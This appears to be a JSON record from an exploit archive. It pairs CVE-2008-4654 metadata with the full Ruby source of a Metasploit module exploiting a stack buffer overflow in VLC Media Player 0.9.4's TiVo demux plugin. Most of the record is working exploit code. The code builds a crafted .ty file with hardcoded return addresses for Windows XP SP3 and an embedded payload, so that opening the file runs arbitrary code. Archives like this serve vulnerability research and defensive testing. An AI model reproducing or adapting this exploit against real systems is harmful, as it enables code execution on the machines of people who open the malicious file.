{"exploit":{"id":"EDB-16629","name":"VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit)","description":"VideoLAN VLC Media Player 0.9.4 - TiVo Buffer Overflow (Metasploit)","cves":["CVE-2008-4654"],"author":"Metasploit","published":"2011-02-02","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16629","path":"exploits/windows/local/16629.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16629.rb","vulnerabilities":[{"id":"CVE-2008-4654","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the parse_master function in the Ty demux plugin (modules/demux/ty.c) in VLC Media Player 0.9.0 through 0.9.4 allows remote attackers to execute arbitrary code via a TiVo TY media file with a header containing a crafted size value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4654","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4654"},"updatedAt":"2024-08-07T10:24:20.799Z","retrievedAt":"2026-11-26T14:09:10.431Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16629.png?v=2","url":"https://exploitbin.com/exploits/EDB-16629","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16629/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16629/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: videolan_tivo.rb 11701 2011-02-02 21:47:02Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::FILEFORMAT\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a buffer overflow in VideoLAN VLC 0.9.4.\n\t\t\t\tBy creating a malicious TY file, a remote attacker could overflow a\n\t\t\t\tbuffer and execute arbitrary code.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         => 'MC',\n\t\t\t'Version'        => '$Revision: 11701 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-4654' ],\n\t\t\t\t\t[ 'OSVDB', '49181' ],\n\t\t\t\t\t[ 'BID', '31813' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 550,\n\t\t\t\t\t'BadChars' => \"\\x00\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform' => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# From /misc/ version\n\t\t\t\t\t#[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],\n\t\t\t\t\t#[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],\n\t\t\t\t\t[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],\n\t\t\t\t\t[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Oct 22 2008',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('FILENAME', [ true, 'The file name.',  'msf.ty']),\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\n\t\tty =  \"\\xF5\\x46\\x7A\\xBD\"\n\t\tty << \"\\x00\\x00\\x00\\x02\"\n\t\tty << \"\\x00\\x02\\x00\\x00\"\n\t\tty << \"\\x00\" * 8\n\t\tty << \"\\x00\\x00\\x05\\x41\"\n\t\tty << \"\\x00\" * 4\n\t\tty << \"\\x00\\x00\\x05\\x49\"\n\t\tty << \"\\x00\" * 60\n\t\t# From /misc/ version\n\t\t#ty << \"\\x00\" * (1024 - payload.encoded.length) + payload.encoded\n\t\t#ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')\n\t\t#ty << make_nops(12) + [0xe8, -525].pack('CV') + \"\\x00\" * (129931)\n\t\tty << [target.ret].pack('V') + payload.encoded + make_nops(12)\n\t\tty << \"\\x00\" * (130980 - 4 - payload.encoded.length - 12)\n\t\tty << \"\\x05\"\n\t\tty << \"\\x00\" * 3\n\t\tty << \"\\x05\"\n\t\tty << \"\\x00\" * 1\n\t\tty << \"\\x09\"\n\t\tty << \"\\xc0\"\n\t\tty << \"\\x00\" * 14\n\t\tty << \"\\x06\"\n\t\tty << \"\\xe0\"\n\t\tty << \"\\x00\" * 302004\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\tfile_create(ty)\n\n\tend\n\nend","sha256":"99f3bac3320bffaec54f843e38643cb4f756e412492b39f691f7eb2cd639ce34","bytes":2573,"fetchedAt":"2026-11-26T14:09:06.283Z","encoding":"utf-8 (display only; download retains original bytes)"}